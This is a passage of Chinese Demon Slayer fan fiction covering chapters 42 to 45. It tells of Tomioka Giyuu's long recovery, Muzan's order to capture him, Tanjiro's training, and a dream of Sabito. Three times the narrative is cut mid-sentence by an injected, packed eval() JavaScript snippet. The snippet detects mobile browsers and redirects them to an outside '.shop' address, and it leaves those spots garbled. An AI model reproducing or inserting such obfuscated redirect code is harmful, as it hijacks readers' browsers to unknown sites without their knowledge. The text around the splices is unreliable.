他收回思绪,专心地听蝴蝶香奈惠讲话。他现在的意识并不算太清醒,还是要抓紧时间。 “主公已经得知上弦二被杀,血液样本也被带了回来,珠世小姐正在研究。” “因为上弦二被杀,各地的鬼最近都很猖獗,鬼杀队的队员几乎都被派出去了。” “主公和珠世小姐知道对付鬼的药剂并未暴露,所以新的药剂除了使用的那一支外并没有其他投入战斗。” “他们根据富冈先生左手手指的伤进行推测,你在战斗时用自己的血模仿了赫刀,想要以此迷惑无惨的判断。如果这个推测正确的话,富冈先生可以眨眨眼。” 富冈义勇眨了下眼,主公和珠世小姐好聪明,这都能猜出来。 蝴蝶香奈惠笑了笑,继续道:“两位共同推测,再过一段鬼就会恢复平静,无需为鬼杀队和药剂担心。现在富冈先生最重要的事是要好好养伤。” “除了这些,富冈先生还有什么想补充的吗?有的话请再眨一眨眼。”蝴蝶香奈惠看到富冈义勇眨了眨眼,一时有些为难。 主公和珠世小姐交代的话她都说完了,他们明明说富冈先生听完这些就会没什么疑问,好好养病的。 但现在富冈先生说不了话,更写不了字,完全没办法交流。 没有办法之下,蝴蝶香奈惠只能选择排除法:“是有关富冈先生自己的事吗?是的话,请眨眼。” 富冈义勇没有动作。 蝴蝶香奈惠想了想:“和主公和珠世小姐有关系吗?” 富冈义勇依旧没有动作。 蝴蝶香奈惠有些苦恼,开始思考还能有什么事。她忽然想到什么,站直身体。 “富冈先生,你等我一下,我去拿一样东西。”说完,她就出了病房门。 趁着蝴蝶香奈惠出门,富冈义勇眨了眨有些酸涩的眼睛。 但眨着眨着,他就有些困了。 但还不能睡过去。 这次的坚持,并非排斥昏迷后的失控,而是想要交代一个人的未来。 雪山上碰见的那个少年和少女。 不知道鳞泷老师有没有见到他们。 那名少年的实力还很弱,还不能加入鬼杀队。但那名少女的事,他需要告诉主公和珠世小姐。 或许,有办法能救那个女孩。 抚子的悲剧,他不想再上演了。 心绪的一时波动,让富冈义勇感到嗓子又疼又痒,直接咳了出来。 感到腥甜在唇齿间蔓延,他强行压下起伏的情绪,用深呼吸抑制咳意。 血液从唇角溢出,富冈义勇的视线又开始变得昏沉。 蝴蝶……你还不回来吗…… 好在蝴蝶香奈惠这时候推开了门,手里还拿着一个纸板,上面贴着二十六个字母。 这是用来惩罚那些不听话的病人的。 要是谁在病房闲不住,护士就会将这个板子挂在墙上,让这个人躺在病床上一一念护士用手指着的字母。 不念个五分钟,别想休息。如果有念错的,时间就要加倍。 这些精力旺盛的人,适合多练练视力。 蝴蝶香奈惠刚刚就想到了这个板子,可以让富冈义勇拼出自己想说的话。但她一回来,就看到了富冈义勇嘴边溢出的血迹。 蝴蝶香奈惠也顾不上问了,将牌子放下,又将病床摇了起来,让富冈义勇上身坐直。 她摘下富冈义勇脸上的氧气面罩,示意他张开嘴。 果然,是喉咙渗的血。 蝴蝶香奈惠从病床旁边的床头柜拿出生理盐水,倒在纸杯里:“漱漱口,不能咽。” 富冈 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17235595|196476||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 义勇眨眨眼,嘴里的血腥味确实让他很不舒服。 蝴蝶香奈惠轻轻把生理盐水喂进去。 富冈义勇抿着唇,咕嘟了几下,又将水吐了出来。 蝴蝶香奈惠将水和纸杯一同丢进垃圾桶,拿毛巾将富冈义勇嘴边的水迹擦去。 她又从抽屉里拿出一瓶滴剂,将液体滴进富冈义勇的嘴里。 药液清凉,让富冈义勇喉咙的刺痛与灼烧缓解了不少。 “这是小忍给你配的药,每天都要滴,会缓解你嗓子的伤。”见富冈义勇表情舒缓了一丝后,蝴蝶香奈惠才开始解释。 她抓紧时间,拿起牌子,让富冈义勇用眨眼的次数把想说的话用字母拼出来。 富冈义勇看着在二十六个字母里倒数第三个的字母,感觉天要塌了。 他一脸呆滞,仿佛人生都没了希望。 蝴蝶香奈惠想了想,觉得这样确实不妥。她换了种方式:“这样吧,我用手指挨个滑过字母,如果第一个里有这个字母,富冈先生就眨一下眼。” 富冈义勇眼睛立马有了光,连忙眨了眨眼。 蝴蝶香奈惠笑了笑,富冈先生有时候也很幼稚啊。 在第一遍滑过以后,有三个字母被确定了,分别是i、n、x。 xin。 心?信? 蝴蝶香奈惠暂时得不到答案了,因为富冈义勇实在困不住困意,再次陷入了昏睡。 好在仪器都没有报警,说明他只是睡着了。 蝴蝶香奈惠将病床摇回去,让富冈义勇躺着好好休息。她看了看手里的牌子,干脆将她放到了屋里。在和屋外的村田说了一声后,她就准备和小忍商量一下这个字究竟是什么。 刚刚远山新名接到任务,已经和自己的鎹鸦出去执行任务了。 村田暂时没有收到消息,就回到了病房,继续照看着富冈义勇。 他将房门关上,替富冈义勇掖了掖被角。 身体的疼痛让他的眉头紧皱,氧气面罩遮住了他大半个脸,衬得他的脸色更加苍白。 身上连接的仪器各式各样,在安静的病房滴滴作响。 因为病情严重,富冈义勇的两只手都被扎了针,输着不同的液体。 村田坐在床边,忍不住用手抵着额头,眼角也不禁泛红。 他进队这么多年,只听说过两次有人碰上了上弦鬼。 但偏偏每一次都是富冈。 每一次都是濒危。 这一次甚至比上次更凶险。 村田有时候也忍不住想,成为柱以后就一定要遭遇这些吗? 明明富冈在他们这届是最小的一个。 但偏偏他又是最出色的那一个。 村田深呼吸,不再让自己多想。 与鬼搏杀,就是充满着流血和牺牲,他很清楚。 只是换成富冈义勇,他便有了私心——想要他好好活着,想要他不再受伤。 这时,有鎹鸦敲了敲窗户。 是村田的伙伴。 听完消息后,村田整理一下了衣服,眼里满是坚定。他握紧日轮刀:“好,我这就出发。” 在离开前,他看了眼富冈义勇,笑着轻轻道:“富冈,我出任务去了,要好好养伤啊。” 每一次的离别,都是诀别。 他们所有人,都做好了这样的觉悟。 黎明不会因人的意志而早到。 但人可以化作夜晚的太阳,以血肉之躯作为阳光。挥动手中的日轮刀,他们将斩尽黑夜中的一切罪恶。 43.第 43 章 有人杀死了上弦鬼。 这件事让鬼舞辻无惨无比震怒。 上弦鬼已经一百三十多年未发生变化,而今上弦之二却意外死于人类的之手。 鬼舞辻无惨很清楚童磨的实力,此前交给他的一些任务都能够完成。 虽然他不喜欢童磨的性格,但无法否认他的实力。 为了确认发生了什么,他查看了童磨死前的记忆。 一个冷峻少年将自身血液涂抹到刀刃上,之后童磨受的伤就很难恢复了。而在那些伤口处,还有类似毒的东西在蔓延。 鬼舞辻无惨捏碎了手里拿着的试管,愤怒的情绪衬得他的脸色越发苍白。 这不是他第一次见到那个少年。 十二鬼月的下弦鬼时常更换,鬼舞辻无惨也会看心情挑选新的下弦鬼。 有一个叫魇梦的鬼很得他的心意。他的血鬼术能够控制梦境,又很会蛊惑人心。 虽然实力并不强,但却很有潜力。 鬼舞辻无惨已经存活千年,强大无比的他却唯独惧怕阳光。 他想要站在阳光下,就一定要找到一种名为蓝色彼岸花的药草。但千年已过,蓝色彼岸花却没有半点消息。 鬼无法在白天随意出行,就总有地方是他搜查不到的。童磨掌管万世极乐教,身为一教之主,可以调派的人并不在少数。但就算这样,也没人找到蓝色彼岸花。 如果利用好魇梦的能力,未尝不可以再制造出一个宗教,增多搜查的人手。 但在鬼舞辻无惨找到魇梦之前,他就已经死了。 鬼舞辻无惨未尝不觉得可惜,但当时的他也不在意这点小事。实力弱小的鬼死了就死了,但后来的猗窝座也遇到了这个少年。 如此弱小无能的人类,上弦之三的猗窝座却没能杀了他。 因为当时有鬼救走了这个少年。 他操控的鬼里并无控制鲜花能力的血鬼术。 作为世界上的第一个鬼,他对所有鬼的都有绝对的控制,唯独珠世那个女人例外。 不过就像他不在意魇梦的死,更不觉得珠世能翻起什么浪。 但有什么脱离了他的掌控,童磨的死不得不让他警惕。 在和魇梦以及童磨对战时,少年都有用左手指尖涂抹刀刃的动作。 虽然在魇梦和童磨的记忆里,这个人类的血液再普通不过,但这不明其义的动作,还让鬼舞辻无惨不得不防。 若是他的血真的特殊,又和珠世那个女人联手…… 鬼舞辻无惨眼睛微微眯起。 他最厌恶变化。 情况的变化、肉.体的变化、感情的变化,一切变化在大多数情况下都是劣化,是衰弱。 他只欣赏不变,保持完美,直到永恒。 他是最完美的生物,绝不允许任何存在威胁到他。 但,这个人能未尝不可以成为他的实验对象。 若是把他变成鬼…… 他会成为克服阳光的那一个吗? 鬼舞辻无惨通知了鸣女,让她把所有十二鬼月叫到无限城里。 鬼已经存在千年,数量之多,鬼舞辻无惨也没有完全统计过。鸣女是他的手下,可以操控一个名叫无限城的特殊空间。 很多鬼都藏匿在其中,也是鬼舞辻无惨每次有要事通知时选择的地点。 鬼舞辻无惨对十二鬼月很不满意。 产屋敷的住址找不到,蓝色彼岸花也找不到,他们是如此无能。 在一番训斥后,鬼舞辻无惨让所有鬼展开对这个人类的追捕。 “把这个少年活着捉到我的面前,伤势不论。”红色的眼眸里,冰冷无情。 他一向小心谨慎,不会主动暴露自己。那些猜想,就等手下的这些鬼捉住这个少年再说吧。 “妈妈,你忙完了吗?我们该去吃饭了~”甜蜜的声音从门外传来。 鬼舞辻无惨可以改变人类的记忆,更可以变换自身的形态,可以轻而易举地藏于在人群之中。 “好的,这就来。”鬼舞辻无惨断了和无限城的联系,像是什么也没发生一样,仿佛他只是最普通的一名人类女性。 因为鬼舞辻无惨的命令,各地的鬼都展开了行动,所以鬼杀队的任务剧增,几乎所有人都忙了起来。 就连刚通过最终选拔的新人,也没有经过特训,就被派了出去。 原本产屋敷耀哉是想让这批新人暂时坐镇后方,但少年志向如朝阳,心中没有丝毫的畏惧。 “对尚未接受过训练的你来说,这太过危险。” “主公,我不怕的!我可以杀鬼!只要我还能挥得动刀,就不会让鬼去伤害无辜的人。” “没有足够的实力,遇上鬼只会让你白白丧命。” “可是主公,我的死也会让你们得知那里的鬼很强大。在我之后,一定有实力更强的人替我杀了他们。即使身死,我也甘愿去做。所以,没关系的!” 坚定的意志,毫无畏惧的笑颜。 这是鬼杀队能传承千年的根基,亦是从未变过的永恒。 在见过他们所有人后,产屋敷耀哉纵有万般无奈,也只能将这批新人投入不同的任务中。 只是为了他们的安全,产屋敷耀哉更多还是让他们跟着前辈一起行动。 人不会因意志而拥有强大的实力,但却可以在实战中被迫成长。 即使,他们需要付出生命的代价。 “天音,大家都是好孩子。”产屋敷耀哉站在屋檐下,看着湛蓝的天。 阳光有些刺眼,产屋敷耀哉闭上了眼。 天音在旁边扶着他,替他擦去眼角的泪水:“义勇带回了上弦鬼的血液,药剂的研究一定很快就有新的进展。队里的大家万众一心,耀哉,我相信你的愿望一定会实现的。” 产屋敷耀哉握紧天音的手:“可代价呢……” “义勇重伤,生命垂危。” “牺牲的孩子们,也越来越多了……” 如富冈义勇一样,情绪的波动会引起身体的反应。强烈的悲悯与自责,也会让产屋敷耀哉身体不适。 他捂住胸口,咳嗽连连。 体弱如他,无用如他。 所有人都在前进,唯有他,只能站在这里,看着这些孩子,奔赴那无光的战场。 天音轻拍他的后背:“耀哉,太阳是不会主动升起的。” “我们所在的星球是因为自身能够转动,才能让全世界的人都能见到阳光。” “如果我们什么都不做,那些孩子什么都不做,这个世界,迟早会变成一片黑暗。” “身为他们的主公,你不能动摇。” 天音并未安慰产屋敷耀哉,因为她深知这一切的不易。 正是这一代代人的牺牲,才有那么多的人不知晓鬼的存在。 有时候,无知,便是一种幸福。 产屋敷耀哉睁开眼,握紧握着胸口的手,眼里再无半分犹疑:“没错。我绝不能动摇。” “这一代的柱算上小忍,共有十名。我认为他们是自战国时代初始呼吸的剑士以外最为精锐的一批人。有他们,有那些不惧牺牲的孩子们。” “我们,一定会赢的。” “所有的孩子都在战斗,我也不能拖后腿。” 产屋敷耀哉平稳下情绪,笑着看向天音:“天音,陪我一起去分析战报吧。” 天音同样弯弯嘴角:“乐意之至。” 所有人都忙了起来,产屋敷耀哉要负责整体布局,珠世和蝴蝶忍忙着对上弦鬼的血液展开研究。宽三郎因为翅膀的伤行动不了,服用的药物也添有安眠的成分,这些天里也一直昏昏沉沉。 而富冈义勇在短暂的清醒后也陷入了昏睡。 这也导致雪山上发生的事,只有鳞泷左近次还顾得上。 在他退休以后,他的身边就没有鎹鸦了,获取消息全靠产屋敷耀哉派来的鎹鸦。 在收到了富冈义勇最初寄来的那封信后,后面便再无新的消息。 鳞泷左近次有些担心,却又不能丢下那一人一鬼不管。 那个少年名为灶门炭治郎,变成鬼的少女叫做灶门祢豆子。 在他找到灶门炭治郎的时候,灶门祢豆子就一直在睡。 他不知道为什么,也找了医生诊断。 医生说灶门祢豆子的症状很平稳,只是一直保持着睡眠状态。 没有新的消息传来,鳞泷左近次也只能按自己的想法来。 教导灶门炭治郎,观察并照顾灶门祢豆子。 这些年来,富冈义勇一直有给他寄信。 零零碎碎,什么都有,却总是报喜不报忧。 鳞泷左近次经常给富冈义勇回信,也多次提及让他照顾好自己。 但看着富冈义勇寄来的信,他渐渐明白了富冈义勇的心理。 在富冈义勇看来,只要他没有真正的死去,那么一切伤痛都算不得什么。 忍受伤口的痛苦,成了他早已习惯的事。 毕竟,他的心上,有一道伤,无时不刻不在渗血。 鳞泷左近次不知道该如何劝慰富冈义勇,尤其是产屋敷耀哉曾寄来一封厚厚的信,里面是富冈义勇的心理状态诊断书。 他自认劝慰的话,却成了困住富冈义勇的枷锁之一。 身为富冈义勇的老师,鳞泷左近次深感自责,也很少再向富冈义勇提出建议。 或许他的放任是有效果的,富冈义勇后面寄来的信越来越充满生活气。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17238598|196476||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 鳞泷左近次这时才恍然,时间不会治愈一切。 不论过去多久,心间裂开的伤口永远都会痛。 但在爱与包容下,这份痛会化作绵密的细雨,为新生的血肉带来生机。 爱与希望,可以让痛苦的深渊有云雾散开,阳光洒落,细雨绵绵。 让昏暗无光的世界里,变成有着七色虹光的潮湿雨天。 无需去问理由,无需给出结论。只要陪在所珍视的人的身边,听他讲话,给出自己的回应,那边足够了。 但长者总是会担心孩子会受伤,会委屈。 就像鳞泷左近次现在,总会在难得的闲暇时,望着遥远的天空,看看有没有鎹鸦的身影。 “鳞泷先生,今天的训练,我完成了……”灶门炭治郎摇摇晃晃,身形不稳地走进屋里,又在下一秒,直接趴着倒在屋里。 筋疲力尽。 鳞泷左近次已经习惯这幅景象,轻松地扒掉他的衣服,又轻易地抱起他,然后将灶门炭治郎丢进了浴池。 里面的水加了药草,可以帮助恢复身体。 灶门炭治郎在水里咕嘟了两下,就将头冒了出来:“鳞泷先生,那位富冈先生现在还没有消息吗?” 鳞泷左近次在煮着热汤,点点头:“还没有鎹鸦传来消息。” 灶门炭治郎笑着眯起眼睛:“富冈先生看上去很厉害,一定会没事的。” 鳞泷左近次拨动着炭火:“在使用水之呼吸的人里,他是最出色的那一个。” 即使锖兔还活着,恐怕也比不上现在的富冈义勇。 纯粹的水,平稳的心,以及极强的悟性。 富冈义勇不论如何都可称得上一句天才,虽然他自己不这么认为。 灶门炭治郎握拳,给自己打气:“我会朝着富冈先生努力学习的!” “我一定能找到让祢豆子变成人类的方法!” 鳞泷左近次用手指弹了个石子到灶门炭治郎的脑门:“在那之前,要好好提高实力。没有实力作为基础,豪言壮志只为成为一纸空谈。” “嗯!我会拼命努力的!”灶门炭治郎笑得开心。 灶门炭治郎在展开训练后就开始写日记记录每天的生活。日记本还是鳞泷左近次给他的,那时候他还看到了鳞泷左近次桌子上有一个盒子,里面装着满满的信件。 每一封都被用心得保存着。 灶门炭治郎什么也没说,笑着接过鳞泷左近次递给他的日记本。 每天的训练真的很辛苦,手臂和腿都像是要断掉,山上的陷阱也像是冲着要他的命布置的。 灶门炭治郎真的觉得很累,偶尔也有放弃的念头产生,但一看到自己的妹妹,心中便剩下向前的决心。 他本以为他会持续很久这样枯燥而平凡的日常,却没想到一封信的到来,暂时打破了这里的宁静。 与往常不同,这次的信是由隐的队员送来的。信是产屋敷耀哉写的,附赠的还有一个取血工具。 富冈义勇苏醒时交代的xin,在蝴蝶香奈惠询问宽三郎后得以破解。忙得脚不沾地的产屋敷耀哉这才想起来还有这一件事。 他连忙和珠世商讨,决定先将灶门祢豆子的血液样本取回来分析。 只不过珠世现在的位置需要保密,血液样本不能通过鎹鸦传递,只能由隐的人来取。 灶门炭治郎没有抗拒这件事,他知道,这些都是为了祢豆子好。 “义勇他最近怎么样?”鳞泷左近次询问富冈义勇的情况。 “水柱大人正在执行任务,请不用担心。”队员从善如流地回答道。 在来这之前,他就被主公特意叮嘱过,不能将水柱大人病危的情况告诉鳞泷前辈。 当然,也不能瞎说,会被闻出来。 半真半假的话才不会被怀疑。毕竟富冈义勇虽然病危,但他也确实在执行一项名为养病的任务。 谁都不能说队员说的话是撒谎。鼻子再灵的鳞泷左近次和灶门炭治郎也闻不出来。 作为退休的老前辈,他们不必操心这些事,只要教教弟子,平稳地度过余生便好。 这是产屋敷耀哉的私心。 当然,在总部定期联系培育师的信件里是否需要隐瞒伤情这件事,产屋敷耀哉询问过每个在编队员的想法,富冈义勇也不例外。 而富冈义勇自然也是不愿意让鳞泷左近次知道的。 所以不管是产屋敷耀哉还是富冈义勇,他们寄给鳞泷左近次的所有信里,都没有提过富冈义勇受伤。 鳞泷左近次听到回答稍稍安了心。 而取好血液样本的队员也向两个人告辞,往总部赶。 “好了,继续今天的训练吧。” “是!” 44.第 44 章 富冈义勇在短暂的清醒后,就一直没醒过来。好在他的身体数据逐渐平稳,说明他的身体在慢慢恢复,慢慢也脱离了危险期。 只不过就算这样,知情的人还是很是担忧。即使自己过不来,也要让鎹鸦隔三差五来病房瞅上一眼。 而随着人与鬼战斗的增多,蝶屋的伤员也多了起来,原本的病房都快不够用了。 好在产屋敷耀哉及时出手,临时扩建了蝶屋,还增加了病床和购买药物的资金。 而为了应对鬼的暴动,几位柱都被派了出去,胡蝶香奈惠也跟着出去执行任务了,而蝴蝶忍因为要和珠世一起研究药剂,也不在蝶屋。 整个蝶屋的人手显得很是不足,但该说是幸运还是不幸,因为这次的事件,蝶屋也收留了一批无家可归的女孩。她们虽然还小,但都愿意留在蝶屋帮忙。 而有一些队员因为伤势问题,有些已经丧失奔赴前线的能力,退到隐里,成为后勤的一员。 有了这些人的援助,这才让蝶屋的运行没有崩溃。 只不过伤员多起来的蝶屋,也渐渐变得热闹起来。 “你!对!就是你!给我躺回去病房去!腿还瘸着!乱跑什么?!想练视力了吗?!” “今天又是谁跑去厨房偷拿点心了!!” “安静!给我安静!病房里禁止喧哗!” 就算再文静的护士,在面对一群不听话的病人时,也会变得异常暴躁。 面对生气的护士,受伤的队员静若寒蝉。 而等护士一走,又开始选择放飞自我。 记吃不记打,不外如是。 而就在混乱的蝶屋里,有一个地方是大家都会不自觉安静下来的地方,那就是富冈义勇的病房。 他的病房是单人间,据某不知名队员透露,这个房间已经快成了水柱大人的专属病房。每次受伤都住在这里,一住时间还不短。 富冈义勇身为水柱,普通队员的心里对他是充满敬畏的。 在来到蝶屋以后,他们就都听说了富冈义勇以一己之力斩杀了上弦鬼。 拜托,那可是十二鬼月的上弦之二! 他们这里的好多人连十二鬼月的下弦鬼都没有见过,就已经伤痕累累。 水柱大人可是解决掉了上弦鬼! 而且鬼杀队已经很多很多年没有杀过上弦鬼了! 这简直是能记入史册的人物! 一群活宝为了见证历史,只要护士一个没看住,就能看到有人扒着富冈义勇病房玻璃往里面望的样子。 这些人也不说话,就纯扒玻璃。 仿佛看到就是赚到,四舍五入,就是他们自己也能记入史册。 而在看到护士过来的时候,这群人自觉就松开玻璃,立马立正站好,姿势规范地回到自己病房。 每次都让抓包的护士不禁嘴角抽搐。 鉴于大家都乖乖地扒玻璃,也不添乱也不乱叫,负责的医生干脆大手一甩,随他们去了。 这下好了,行为得到默认,这群人直接猖狂起来。 一群人凑到一起,直接排起了表。今天你去,明天我去,后天他去。一次几个人,每个人几分钟,安排之合理,让护士都不由惊叹。 “你们但凡把这点心思放在养病上,都不会这么久还没出院!” “这就是护士小姐你不懂了。我们都在好好养病呢,但养病也不能过于枯燥嘛。” “就是就是。我们不会打扰水柱大人的休息,就安静扒玻璃!现在病房的玻璃被我们擦得可亮的!” “……” “而且我们扒玻璃也不是白看的,我们都发现水柱大人的呼吸好很多了!” “对啊!我看的时候水柱大人一分钟呼吸是20次。” “我是他后三天就看的,那会水柱大人一分钟已经23次了!” 大家都知道富冈义勇嗓子受伤,再加受伤严重,呼吸比平时减弱了不少。 他们扒玻璃的时候不是白扒的,为了看清水柱大人的胸腔起伏,他们练了好久的! “我可谢谢你们告诉我这个看仪器就知道的事啊!” “护士小姐,不能这么说。等水柱大人脱离危险期,那些仪器迟早要撤下来的。有我们每天给你们提供动态数据,没了仪器你们也能随时知道水柱大人的情况。” “……” 这群人还先会带后会,出院的人甚至试图教会新来的伤员怎么更好地扒玻璃。 扒玻璃时手怎么放,呼吸怎么调整,视线要看哪里,还有水柱大人每日记录变化表怎么填,俨然成了一条流水线。 护士欲哭无泪,鬼杀队里真的有正常人吗? 富冈先生,真的好想念你啊。 这件事后面也被产屋敷耀哉知道了,他眨了眨眼,然后就问蝶屋能不能每天复印一份这个《水柱大人每日记录变化表》,然后给他送过去。 医生和护士:…… 这个鬼杀队还能要吗? 而就在一批又一批人的接力下,富冈义勇的每日变化表日益增多。 上面的数据越来越正常,也越来越平稳。 就像一些队员所说,部分仪器被撤了下来,再到后面只剩下了两条输液架。 而医生和护士也不得不承认,这群人的扒玻璃是有效果的。 有次富冈义勇因为并发症,体温有些上升,护士在忙着其他病人,一时没有顾上,就是那天扒玻璃的队员去找的护士,说他看水柱大人的呼吸不对,让她赶紧去看看。 护士跑过去一看,发现还真不对劲,富冈义勇有些低烧。 她连忙去叫医生,在每天的药剂里又新添了药物。 而发现这件事的队员,立马受到了其他人的崇拜目光。 上报消息的队员是右手胳膊受了伤,只见他用左手很帅地擦了擦鼻子,轻轻挥一挥衣袖,风轻云淡地说:“别崇拜我,我这是站在巨人的肩膀上。” 就这样,在每天热闹又混乱的日子里,富冈义勇整整昏迷了三个月。 在睁开眼的一瞬间,富冈义勇觉得世界异常得安静。 他盯着天花板看了好久,意识才逐渐收拢。 他之前把信的事告诉了蝴蝶,主公和珠世小姐那么聪明,肯定能明白他说的事是什么。所以这次他睡得很安心,让自己睡了很饱的一觉。 醒过来时,身体的疼痛已经减弱了不少,嗓子虽然还难受,但也没有之前那么难以忍受。 富冈义勇很满意现在的情况,毕竟他不是受虐狂,也不是什么伤都想硬抗。 更 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17248003|196476||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 何况,他现在身边多了很多可以依靠的人。 他相信他们。 即使没有他,也能将他挂心的事处理很好。 他只需要好好养病,好好活着。等恢复健康以后,再和大家一起去执行任务。 而就在富冈义勇意识回笼没多久,医生就推门走了进来。 “富冈先生,你已经昏迷了三个月,现在身体觉得无力和疲惫都是正常情况。”医生简单地说了一下他的情况,又把鬼杀队的近况和他提了提。 当然,那个什么《水柱大人每日变化记录表》,就让它见鬼去吧。 谁不嫌丢人就自己主动和富冈先生提去。 富冈义勇听到自己昏迷了三个月时,倒是没有太意外。毕竟他能感受到自己的伤势确实不轻,上次昏迷的一个月还是他努力挣破黑暗才醒过来的。 这次的伤更重,他又放任了自己昏迷,睡了这么久倒是不意外。 不过在听到鬼杀队最近很忙时,富冈义勇还是不禁皱了眉,当时就想询问什么,但他顾及嗓子,只能眨了眨眼。 医生注意到他的动作,干脆利落地拿起病床边的字母牌子,让他选出想要说的拼音。 这一次他拼出来的音是ren。 “富冈先生,这个字的读音是几声?”医生询问。 富冈义勇眨了两下眼。 医生琢磨了一下:“人?” 富冈义勇赞同地眨眼,眼睛都亮了起来。 医生笑了笑:“不用担心人手问题。主公安排得很好,大家杀了不少的鬼,救下了不少人。虽然也有很多惨剧出现,但也有很多人得以生还。” 富冈义勇放心地舒了口气。 在征得他的同意后,医生给他做了详细的检查。 “富冈先生,你身体的外伤还没有全部好,肩膀和肋骨也还在恢复期,现在不能乱动。嗓子也还红肿着,短期内还是要保持沉默。请不用担心失声,恢复训练时,会有护士一点点带着你复健。” 富冈义勇明白这件事,乖巧 地眨了眨眼。 医生轻轻笑了笑,摸了摸他的脑袋:“如果还觉得累,可以再多睡会。” 富冈义勇眨了下眼,没用一会,就再次睡着了。 毕竟身体还没好全,而睡眠也是身体恢复的一大机制。 医生将他的被子掖了掖,又看了看旁边输液架上的液体还有不少,就直接走了出去。 等看见外面一群人的时候,医生冷笑一声:“富冈先生醒了,怎么不继续扒玻璃了?” “知道丢人现眼了?” “呵!” 一群队员面面相觑。 他们几个人远离病房,蹲在角落里。 “现在毁灭证据还来得及吗?” “来不及了吧……听说主公把表格挨个复印了一份。” “我们不会真的成为历史吧……” “什么历史?” “据悉,历史上存在一批偷窥水柱隐私的变态队员,并有以下证据进行佐证……” “……” “……” “……不,不会吧……” 有护士路过病房,看到了一堆黑云密布的蘑菇,视而不见,内心发出和医生一样冷笑:“呵!” 45.第 45 章 富冈义勇在昏睡时,多数时间都觉得自己的身体很沉,想动也动不了。 他也不去管,就任由海水将他包裹,飘荡在起伏不定的海面。 过去的记忆仿佛像倒带的影片,一个又一个在脑海里放映着。 悲伤,思念,幸福,甜蜜。 种种情绪在他的胸腔翻滚。 他难得不想压抑这些情绪,就任由情绪蔓延。 飘着飘着,富冈义勇就觉得自己的身体越来越轻,眼前也越来越亮。 他试图睁开眼睛,结果发现自己真的睁开了眼。 只是…… 周围的环境并不是病房,而是有着鲜花遍地的草原。 “义勇?你怎么跑来这了?”是锖兔的声音。 富冈义勇立马朝声音的方向望过去。 一如记忆里那模糊又清晰的样子,肉色的头发,脸颊还带着伤疤。 富冈义勇愣在原地,垂在身侧的手指微动,想要伸出手去触碰,却又害怕这只是水中月,镜中花。 锖兔皱着眉,围着他仔细看了一圈:“你现在不应该在病房好好养病吗?不应该死啊。” 富冈义勇呆愣愣地回答:“我应该还活着。” 锖兔点点头,赞同道:“我昨天刚去看过你,活得好好的。” 富冈义勇回神,后知后觉地抬手触碰自己的喉咙。 他可以说话了? 身体还一点都不难受。 锖兔温和地笑了笑,抬手揉了揉他的脑袋。 多年过去,富冈义勇长高了不少。 “虽然不知道你怎么跑来这里的,但赶紧给我回去!”锖兔推着富冈义勇的肩膀就想把他往外推。 富冈义勇不想走,恋恋不舍地往回望:“可是锖兔,我很想你。” “想什么想?平时也没见你多想我几次,现在想什么?” “给我回去好好睡觉养病!不许再跑来这里!”锖兔把富冈义勇推到草原一处的河流旁边,抬脚就把他踹了进去。 富冈义勇直接被河流淹没,心里特别委屈。 为什么他梦到的锖兔都这么暴躁? 明明在他记忆里锖兔一直是个很温柔的人。难得梦到锖兔,他还想多看一会再醒的。 河里的水很温暖,被带着飘啊飘,富冈义勇就又感觉自己的身体变得沉重。 他缓缓睁开了眼,是熟悉的天花板。 没有锖兔…… 富冈义勇闭上眼,任由泪水从眼角划过。 “这是做噩梦了?” “妈妈摸摸头,我们义勇不害怕。” “姐姐碰碰脸,我们义勇乖乖睡。” “爸爸捏捏手,我们义勇甜又甜。” “干啥呢,孩子受着伤呢,捏啥手?” “我这不是也没真捏嘛。最近我跟着门外面那群孩子学了不少东西,按他们的话说,这就叫保持队形。” 富冈义勇眼神呆滞,看着病房边站着自己的父母还有姐姐。 他们三个聊得火热。 感受到嗓子依旧难受,富冈义勇只能眨了眨眼。 三个人都还在。 富冈义勇的思绪完全混乱了。 他的心理疾病这么严重了吗?居然出现了这么真实的幻觉。 还是富冈茑子察觉到不对劲,拿手在自家弟弟面前晃了晃,然后看到他的眼睛跟着自己的手在动。 富冈茑子:!! 她推了推身边的母亲:“妈,爸,义勇能看到咱们了。” 富冈义勇的父母立马看向富冈义勇。 “宝贝,来,告诉爸爸,这是几?”富冈义勇的父亲伸出三根手指。 富冈义勇的母亲只觉得自己爱人没眼看。 富冈义勇看着父亲的手指,眨了三下眼睛。 “真的能看见了”富冈义勇的母亲惊讶。 三个人立马对富冈义勇嘘寒问暖。 “义勇,难不难受啊?” “刚刚梦到什么了?怎么还哭了啊。” 